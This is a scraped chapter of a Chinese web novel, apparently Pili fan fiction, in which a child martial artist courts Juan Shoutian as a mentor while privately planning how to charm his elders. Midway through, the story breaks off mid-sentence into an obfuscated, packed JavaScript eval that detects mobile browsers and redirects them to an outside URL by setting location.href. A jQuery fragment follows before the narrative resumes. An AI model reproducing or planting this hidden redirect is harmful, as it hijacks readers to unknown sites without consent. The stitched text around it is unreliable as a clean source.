“21格格党”最新网址:http://p7t.net,请您添加收藏以便访问
当前位置:21格格党 > 其他类型 > 霹雳之演员的自我修养 > 110.浮光跃金(十)

110.浮光跃金(十)(1 / 1)

上一章 章节列表 下一章
好书推荐: 斗罗:抢唐三气运就变强! 重生年代:从知青下乡开始躺赢 让你当宗主,你只收主角? 苟在宗门御兽长生 我就混一混,怎么就成世界第一了 足坛第一瘤子 抄家流放?亲妈金手指已到账 财富自由从毕业开始 魂殿第一玩家 开局95公牛,乔丹的一生之敌!

永旭之巅

站在霹雳武林版珠峰山顶,莫寻踪与倦收天,一大一小,两个盲人面面相觑。

说实话,这场面有点喜感。

但即便如此,莫寻踪还是努力把每个表情都演绎得生动到位。

盲人怎么了?盲人的感知比正常人还要灵敏。

别以为倦收天是盲人,就糊弄人家。莫寻踪身为演员的职业操守也不允许!更何况倦收天的剑上有北斗指引,就算是双目失明,在感知力方面他不比任何先天弱。

倦收天追问:

“告诉我,你的回答。”

莫寻踪张了张嘴,一时有点错愕:

“啊?这么突然吗?前辈,不用再问我两句吗?”

倦收天看着他:

“比如说?”

莫寻踪把灵符纸卷成一个筒,放在嘴边:

“比如说:请介绍一下你自己,请谈一下你对宗门的看法,为什么你想来永旭之巅修行?你未来三到五年的修行规划是什么?请谈一谈你的优势在哪里?”

说完就把纸筒递到倦收天的……胸口。他还是个小不点,他还没有斩神高,他的佩刀都有五尺,他才四尺高。

倦收天眼底含笑:

“不必问了。”

“你已经用你的行动和你的决心,堂堂正正的向我证明了你具备的实力。如果你需要我给你的表现打分,我的回答就是:莫寻踪,满分。”

莫寻踪听到他说的这些话后愣了一瞬间,仅惊讶了一下,表现出知道北芳秀居然是真的想收自己为徒,然后毫不犹豫摇了摇头:

“谢谢您,其实我有想拜的师父了。”

倦收天直接的问了,他也明确且坚定地拒绝了。

干脆利落,反倒是合了倦收天的脾性。

倦收天沉吟道:

“是原无乡。”

莫寻踪语气惊讶的“咦”了一声:

“您是怎么知道的?”

倦收天道:

“善福寿是你的拳法师傅吧,他方才来信向我推荐了你,也和我说了你今后的打算。”

莫寻踪摸了摸下巴:

“这么说我还是做了一回关系户了,唉,本来想低调点,无奈实力不允许……”

倦收天道:

“有实力,就不叫关系户。而是举贤不避亲。”

这孩子看似爱张扬,处处想要证明自己,但倦收天能看出来,其实这并不是莫寻踪的初衷。

倦收天想,或许在很多人看来,这孩子从来没有想过安身立命。无论他做什么,他总能比别人更好更完美,总是比别人更成功。

毫无疑问,像莫寻踪这样的人,性格肯定是极其要强的,往往对自己的要求非常高,高到几乎是苛刻的程度。

追求完美,追求极致,没有最好,只有更好。

只有不断地提升自己,不断挑战自我,才能够接近完美。为了达到如今的武学境界,莫寻踪一定付出了比常人更多的努力和时间。

在莫寻踪的身上,倦收天看到了对于卓越的执着追求。

这类人通常有很强的自我驱动力,对自己的目标和理想有着坚定不移的追求,正是这种高度自律和自我要求,使得莫寻踪在各个领域都能够表现出色。

倦收天很欣赏他这一点。

但倦收天不会觉得只有自己能慧眼识珠,优秀的人一眼就能看出来。

所以到头来,即使很多时候莫寻踪不去尝试证明自己,可他就像金子一样,时间长了总会发光,难免会引起别人的注意。

莫寻踪佯装不解:

“您早就知道我想拜原前辈为师父,为什么还要问我啊?难道这就是考验?考验我是不是真心想做他的徒弟?”

倦收天嘴角露出一丝微笑:

“非也,这不是考验。是我想试试看,能不能捷足先登。”

莫寻踪也乐了:

“您要截胡啊,银骠当家不是您的亲师弟吗?”

倦收天道:

“贤徒就在眼前,今日吾想收徒,亲兄弟也要明算账。在这件事情上,我与他各凭本事。你且伸出手来。”

莫寻踪伸出双手表示尊敬。

倦收天拂尘一扫,两本武功秘籍出现在莫寻踪的手中。一本是形意拳,另一本则是……

莫寻踪灵识扫过书封上的字,念道:

“九阳天诀?”

倦收天嗯了一声,道:

“正是九阳天诀,你的功体与这部剑法很契合,两者合练会有奇效。先从拳法开始吧。”

九阳天诀就不必多做介绍了,乃是倦收天的独创剑法。

所谓行意太极,就是将形意与太极两拳合一参悟而成的一种新架拳法。

见过莫寻踪的武学基础后,倦收天就知道,太极拳不必再教了,学会形意拳足矣。

剩下的,全凭他自己去领悟。

莫寻踪想说些什么:

“可是前辈……”

倦收天抬指一点:

“以后记得叫我师伯。”

莫寻踪懵了,过了半天,他才找回自己的声音:

“我和原无乡前辈还没见上面呢,我还不知道人家愿不愿意收我当徒弟……”

倦收天盯着他,呵的一声笑了:

“若是原无乡拒绝了你,你就打道回府,改口叫我师父。你觉得呢?”

莫寻踪沉思片刻,再开口时语气里多了分自信:

“承蒙师伯抬爱,寻踪先谢过了。”

倦收天满意的点了点头:

“得此佳徒,传承不绝,吾心甚喜。先练拳吧。”

不想当徒弟,没关系,师侄也一样教。好友原无乡的徒弟也是他倦收天的徒弟。

他拂尘一挥化出一张桌子。

桌上摆着一只沙袋子,还有绿豆,黄豆,铁砂,小石子,雄黄。

象征五行。

莫寻踪在倦收天的指导下,按照比例装入材料,制作形意五行袋。然后用掌打、指戳、拳击来练习击打的感觉。

倘若仔细看倦收天就会发现,他的嘴角微微向上翘起,保持微笑,一副心情很好的样子。

能有一个温暖明亮的小太阳全天带在身边,倦收天的心情能不好吗?

若不是原无乡,今天换做是另一个人的名字从莫寻踪的嘴里说出来,倦收天当场提剑下山和人定孤枝去了。

什么档次,也配和倦收天抢他看上的徒弟?

也就是原无乡了。

如此佳徒,入得银骠当家的门下,倦收天作为兄弟和好友,亦是欣喜。

倦收天说话直来直往,莫寻踪配合他直来直往,所以他们的进度就像是按下了加速键。

内家拳通过内养的方式,能够在短时间内迅速修复身体损伤,恢复身体状态,让习武者的精气神达到充盈的状态。

无论是北宗拳法,还是太极拳,又或是形意拳,其实都属于内家拳种,这也是为什么莫寻踪能够在长时间的剧烈运动后迅速恢复体力,进入学习状态的原因之一。

修炼内家功法,可以贯通大小周天,真气可以在身体里运行顺畅,从丹田源源不断地通达全身,滋养全身。

眼见莫寻踪的修行渐入佳境,没有什么需要他指点的的地方。

如此下去,倦收天估计再有七八日,莫寻踪就可将九阳天决修炼至入门。

看了一眼沉迷在修炼中的莫寻踪,倦收天也不打搅他,便自顾自地下山给莫寻踪带饭去了。

倦收天哪里是会动手做饭的人。

他早就辟谷了,永旭之巅上更是连个开伙的地方都没有。

这里太久没招待过客人了,尤其还是正在长身体的小朋友,只吃茶点怎么够呢?

因为莫寻踪不要善师傅旷课来送他,善师傅心里过意不去,所写的推荐信中对其极尽赞誉,着重在生活的方方面面关心他。

善福寿在信中多次强调,莫寻踪饭量很好,正是身高猛长的时期。之前还闹出过笑话,医师来复查眼睛的时候,诊断出他营养不良。

医师都惊呆了,看着他们的眼神就好像是在说:

你们道士瞧着家大业大的,不给孩子吃饱饭啊?

今天的道真北宗,风评依旧被害。

好在最后发现是闭关修炼太专心,忘记吃饭了,全靠先天之气的运转来平衡身体所需。这才挽救了道真北宗在医者们眼中继投毒事件后岌岌可危的名声。

真若深究下去,其实并没有好到哪里去。

一个八岁的小朋友在家自习的时候,无师自通的学会了辟谷。

家长心大到什么程度啊?居然还有夸他聪明的。

一群先天竟然也没觉得有丝毫不对的地方……

大概是因为莫寻踪表现得太不像一个稚嫩的小孩子了吧。

这话不是说莫寻踪是像大人一样的小大人。而是说他格外有主见,执行力很强,也有着童真和稚趣的一面。

该正经的时候正经,该幼稚的时候幼稚。

童真很重要。

孩子就该有个孩子样,演戏演全套,不能玩套路,更不能演得油滑。孩子不像孩子,大人不像大人,只会两边都不讨好。

莫寻踪在进行角色扮演的时候,也会格外注意这一点,他确实善于察言观色,但他绝不会压抑自我的真实需求。

宁可狡猾,不要油滑,宁可犯错,不要犯浑。

抓大放小,保持对角色人设大方向上的掌控感就够了,私底下制定计划可以面面俱到,明面上说话办事不必太过圆滑,也不必太过客套。

一旦客套了就说明,这个人与莫寻踪之间的关系其实没有那么熟。

自辟谷事件后,莫寻踪的一日三餐就全被愧疚感爆棚的老前辈们给包了。以他们的年纪,看莫寻踪就跟看孙儿一样。

尤其是在秋水长天,任谁看见他都要来一句,吃了没?上我家吃不?

而莫寻踪不仅要挨个去串门,他还点菜。

长个子……

对他们这些活得太久的先天来说,真是一个久违又新鲜的词,听着就觉得自己都年轻了几岁。

善师傅的本意是希望倦收天给孩子放放风,让孩子自己下山解决吃饭问题,至少在莫寻踪生长发育期结束之前,需要合理饮食和规律作息。

他都没指望倦收天会照顾小朋友,更没想到倦收天会给莫寻踪带饭。

然而站在倦收天的角度就是,学武虽重要,身体也重要。

山医命相卜,山排在第一位。包含了修心养性,锻炼体魄的养生秘术。修道之人大多选择宁静的深山修行,这是山字的由来。

一日三餐的问题他这个长辈可以解决,莫寻踪只要在他这里专心学习就行了。

都是先天人谁还没点钞能力了?

世上哪有什么想不到,无非就是不上心。

倦收天站在酒楼前想了好一会儿,他不知道莫寻踪这孩子喜欢吃什么,那就多买点吧。在伙计的推荐下,倦收天打包了酒楼里的招牌菜。

等他返回永旭之巅时,莫寻踪正站在案前默写内功心法,另一手拿着一整根人参生啃。他直接将新鲜人参洗净,像吃萝卜一样嚼着吃。

这人参是尘世神游组合的两位长老——远风尘和人间世家里种的,送来了一堆,长在隐逸名士家里的人参吃起来就是不一样,营养价值高,微苦却回甘。

俩老头退隐多年不喜琐事,成天宅在养老院里,除了练剑,剩下的时间全拿来研究种地了。

也不能怪莫寻踪把秋水成天戏称为大型养老院,游戏仙尘组合就是俩钓鱼佬,不是在钓鱼,就是在钓鱼的路上。

宗心问斗一天到晚手里盘着俩核桃,剩下的北宗四扉更是各有各的老年人爱好。

这么一看央千澈居然是看上去最年轻的那一个,嗯,看上去。他的作息就是老年人作息,大半夜睡不着觉,起来给孩子盖被子。孩子醒了,就跟孩子说你继续睡……

爬完山,莫寻踪想起人参的味道就有点馋,直接当保健品吃了。

普通人肯定不能像他这么吃,无法吸收全部药力是其次,鲜人参药性偏凉,容易引起腹泻而且补过头会上火流鼻血。

看到倦收天回来,莫寻踪打了一声招呼。转眼就见倦收天给他打包了一桌饭菜回来,惊得他连人参都不啃了。

他知道善师傅信中写了什么,仍旧不免表现出很惊讶的样子:

“师伯,你这是……”

倦收天道:

“伸出手来。”

莫寻踪听话照做,倦收天手指搭在他的腕脉上,细细地把着脉,又上手按压莫寻踪的小臂,这是在摸他的根骨。

注意到莫寻踪臂上的蝴蝶纹有能量在流动闪烁,倦收天暗暗地避开了。

莫寻踪不语,只是一昧的啃人参吃。他身上蝴蝶纹的作用就相当于金剑上的北斗指引,主打一个“虽然我盲了,没全盲,但我也看不到”的设定。

倦收天收回手,语出惊人:

“身弱体虚。”

莫寻踪指着自己:

“啊?我?我还身弱体虚?”

倦收天示意他来吃饭,莫寻踪跟了上去。

听见他说:

“你的第二武脉很强大,非比寻常,不逊于你的根骨。你天生比别人多长了一条武脉,这条武脉本该在你成年后才会显化出来,却提前觉醒了。

这就意味着,你需要更多的营养来增强体质。

体虚的状况,往往在你活动或劳累后加重,无非是摄入不足和消耗太多。你的武学功底扎实,症状不明显所以才没有察觉到。

这不是件小事,别不放在心上,否则等你年纪稍长些就会感觉到力不从心。”

倦收天扫了一眼他手中剩余的人参须子:

“你先吃吧。”

莫寻踪为自己的行为打了个补丁:

“哦好,我说呢,怪不得突然就有点馋……”

他把人参须子三口两口塞进嘴里,咀嚼咽下肚,倦收天闻着这人参的年份和药力相差太多,还需要另寻一些补充营养的灵药。

如今看来,专注拳法反倒是符合这孩子的体质。众所周知,内家拳种能养生健身。通过对筋骨的训练与合理的饮食配合,能增强身体素质。

至于外家拳种……

莫寻踪不需要练外家拳种。

正所谓“内练一口气,外练筋骨皮”。这个外练筋骨皮,就是指外家功夫,外家功法主要是增强肌肉骨骼的强度和耐力,提高身体的抗击打能力。

这个技能莫寻踪已经点满了,魔佛波旬的防御有多难破除,灵佛心和八品神通加持在身的莫寻踪只会比祂更难打。

而且很多内家拳种也可以同时做到外练筋骨皮,只看北芳秀的血条就知道了。

以后开团打BOSS不用再找T了,莫寻踪自己就是T了。如果觉得他资历浅、经验不足,这不是还有倦收天嘛。

倦收天抗得好,让倦收天去抗。

对付倦收天这类长辈,莫寻踪有一套完善的核心攻略体系:

那就是让他们知道自己需要他们,依靠他们胜过让他们依靠自己。

真以为莫寻踪不知道自己的身体情况?

他装傻呢,他骗倦收天呢。

目的就是向倦收天传达出一种态度:

我还小,我信赖你们,很多事情我想不到,需要你们这些大人为我考虑,为我周全。

他们自然而然就会担起长辈的责任。

央千澈和善师傅不就是吗?

莫寻踪从来没说他要去找原无乡当师父,他只是把自己要走的武道摆出来让他们看,等到他的武学积累达到了一定程度,再留在北宗就只是空熬资历,对他的个人提升没有任何助益。

央千澈和善师傅就会先一步替莫寻踪考虑,积极为他计划未来。

趁着年纪小,赶紧吃小孩子的红利,等到他以后长大了……呵呵,没听过一句话吗?</p

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958117|131097||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

>

无论多大,在爱你的家人眼里,你永远都是那个长不大的小孩子。

从决定成为莫寻踪的那一刻,扶光氏就开始做攻略了。

有一种人,千万不要指望他会主动讨好你,又或者是对你自作多情,如果说,你不先对他表露出善意,他甚至都不想搭理你。尤其是当你来者不善时,他更是不会给你留一点面子。

没错,说的就是倦收天。

跟倦收天接触,必须要给足他尊重,也只有感受到尊重,他才会将心比心。

不然的话,他才不会跟人浪费口舌。

莫寻踪舍近求远,放弃了化光赶路,放弃了现成的山道,选择亲自攀登上山,除了向倦收天展现自己的过往所学,何尝不是一种对老师的重视?

倦收天这种人不会跟和自己三观不一致的人交心,换句话说,道不同不相为谋。

莫寻踪则是借此向他表明:我和你的道相同,看到我为求学付出的努力了吗?看到我对武学的追求了吗?我就是你最想收的那种学生,我就是你的菜!

当莫寻踪付出了诚意,得到了倦收天的认可,就能够感受到倦收天真挚的情感。无论莫寻踪今天拜不拜师,他都会悉心指点莫寻踪。

因为倦收天不愿伤及任何真心相待他的人。

假设将来有一天,倦收天陷入了二选一的绝境,要倦收天去死,来换莫寻踪生还,或者反过来。

为了道真的未来,倦收天一定会选择自己去做那个赴死的人,无怨无悔地去做,死前还欣慰自己这条命能换莫寻踪活下来。

反之他就会有心理负担,终生都无法释怀。

这就是悲观理想主义者的困局。

作为道真一脉的领导者之一,倦收天始终将宗门利益置于个人情感之上。他渴望守护重要之人,却因责任被迫疏离情感。

然而一旦走入他的内心,你就成为了他渴望守护的重要之人,他绝不会辜负你。

他不仅会收敛自己对外强势的姿态,还会变得非常温柔,就像换了一个人。

当你面临困境时,你让他为你抗事担责,甚至为你牺牲性命都不在话下。

倦收天就是这样的人,一个矛盾交织的殉道者,人性深处的脆弱与坚韧并存,在宿命与自我救赎间挣扎。

他简直太容易被人看懂,也太好拿捏了。

同样的手段,也可以原样照搬到原无乡的身上。

因为他也有自我牺牲倾向。

这很正常,残疾人哪里会没有心理问题,双秀这俩战场退伍的老兵已经是很好相处的人了。

原无乡就是莫寻踪的风筝、莫寻踪的大号玩具,任由他揉圆搓扁。就算是给外人的印象更为强势的倦收天,私下里的性格也好到让莫寻踪有点惊讶。

所以莫寻踪要开始得寸进尺了。

他要点菜,他已经想好明天早上吃什么了。

永旭之巅用来待客的茶桌撤去了茶具,摆上了一桌饭菜,却只有一副餐具。

莫寻踪看向坐在对面的北芳秀:

“您不吃吗?”

倦收天道:

“我已辟谷,你吃吧,都是你的。”

莫寻踪迫不及待地端起碗:

“哇!谢谢师伯,你真好!”

他身上的光芒更耀眼了,活力四射,洒满了每一个角落,欢乐与生机在空气中弥漫,仔细闻闻,还能闻到清新的草木气息。

空气中似乎还掺杂着一股若隐若现的茶花香。

倦收天仔细观察着莫寻踪身上的变化,不动声色地弯了弯唇角。

将倦收天所有的微表情变化悉数敛在眼里,莫寻踪闻了闻饭菜的香味:

“这是明月楼的菜吧?都是招牌菜呢。这家酒楼我去过,往东三里的巷子尽头还有一家烧饼铺,泰山烧饼做得很正宗。那家的烧饼色泽金黄,薄层重叠,内外焦脆,香酥可口!连我这种不怎么吃饼的人,也能吃上好几张。”

投其所好,这个喜好却是莫寻踪表现出来的。

是莫寻踪闻出明月楼的招牌菜,以明月楼为话题引申出烧饼铺,是莫寻踪嘴馋想吃饼。

尤其是他强调是店家的饼做得好吃,其实他本人不常吃饼。寻常人都不会以为莫寻踪是在巴结讨好老师,而是碰巧对上了倦收天的隐藏喜好。

再加上莫寻踪一闻,就能闻出酒楼做的什么菜,更是巩固了极能饮食、对于味道有独特的敏感及鉴赏能力的美食攻略博主人设。

说完上述这段话,他还对倦收天眨眼睛:

“你觉得呢,师伯?”

师伯虽看不见他脸上的表情,却能从声音听出来他有点馋了。

倦收天忍俊不禁道:

“听你这么一说,我倒想尝尝你口中的正宗是何等滋味了。可惜今日天色已晚,明日吧,明日我同你一起去。今天你一路奔波辛苦了,你的修行安排你自己把握,早点休息。”

莫寻踪点点头开始扒饭。一大口炒菜送进嘴里,吃的鼓囊囊的。

吃饭吃饱,演技才好。

一个演员的演技,往往在细节处展现,而吃戏就是细节处的细节,一定要把控到位。

莫寻踪在吃戏上没有用什么技巧,就是普通人吃饭的真实写照,食物不停地往嘴里送,渴了就喝口汤,也是狠狠地过了一把吃货的瘾。

朴实无华却仿佛触动了倦收天心灵的某个弦,勾起了他的共鸣之情。

小朋友吃饭听起来就很香,让倦收天回忆起过去和原无乡在沧海云坪同修的日子,也让他想起了他们在莫寻踪这个年龄段吃饭的情景。

他们那时候也是很能吃,饿得也快。伙房老翁烙的烧饼,倦收天一口气能吃掉一整筐,一天要吃四、五顿饭……

倦收天还记得,老翁无奈的看着满屋子一扫而空的饼筐,笑骂他们是半大小子吃穷老子。第二天却会给他们备上更多的烧饼,而倦收天往往能够做到刷新历史记录。

再看莫寻踪这孩子,倦收天不免带上几分移情,他知道自己可能是因为移情的原因,所以才对这个孩子有了更多的理解和包容。

但也无妨,前提是倦收天本就很喜欢他。在倦收天的眼中,抛开原无乡这层关系,寻踪本身就是一个极好的孩子,倦收天欣赏他。

再加上他是同出北宗的后辈,也是因自己遭到迫害的无辜受害者,以及一个小太阳手办……层层加码下来,莫寻踪在倦收天这里可以说是滤镜和Buff都叠满了。

不然呢,真当善师傅的推荐信来得那么凑巧?

还不是因为莫寻踪半路截胡,控制了信件到达倦收天手中的时间。

来的早了,来得晚了,效果都会打折扣,还容易影响到倦收天对他的第一印象。可以适当卖惨,但最后还是要回归到用实力说话。

莫寻踪突然停止了咀嚼。

眼睛瞪大,双眼瞬间亮了起来,他的眼神里流露出吃到美味的快乐和满足。莫寻踪先把嘴里的食物咀嚼后咽了下去,随即取来一副新碗筷。

他唰唰两下将几块棋子烧饼夹到碗里,筷子放到碗上,一起推到了倦收天的手边。

然后极力向倦收天推荐:

“这个特别好吃,你也尝尝?可香了!”

这种烧饼的形状类似于小鼓,大小与一个象棋棋子相当,因此得名,棋子烧饼。

莫寻踪亲近他,倦收天不会驳了他的好意:

“好。”

道者夹起一块小饼送入口中,烧饼外皮酥脆,内里鲜嫩多汁,咬一口既能感受到芝麻的香气又能品味到馅料的美味。

莫寻踪追问:

“怎么样?”

倦收天道:

“不错,风味独特。”

莫寻踪嘿嘿一笑:

“我就说吧。”

他不再多说,继续埋头吃饭。

两人虽然没有交谈,气氛却越发温馨了起来,心情也随之明朗。

人与人之间的距离,往往在这些平凡的瞬间中得以拉近。

上一章 章节列表 下一章
新书推荐: 魂殿第一玩家 抄家流放?亲妈金手指已到账 足坛第一瘤子 我就混一混,怎么就成世界第一了 苟在宗门御兽长生 重生年代:从知青下乡开始躺赢 斗罗:抢唐三气运就变强! 霹雳之演员的自我修养 开局95公牛,乔丹的一生之敌! 僵尸:人在义庄,九叔直呼教不了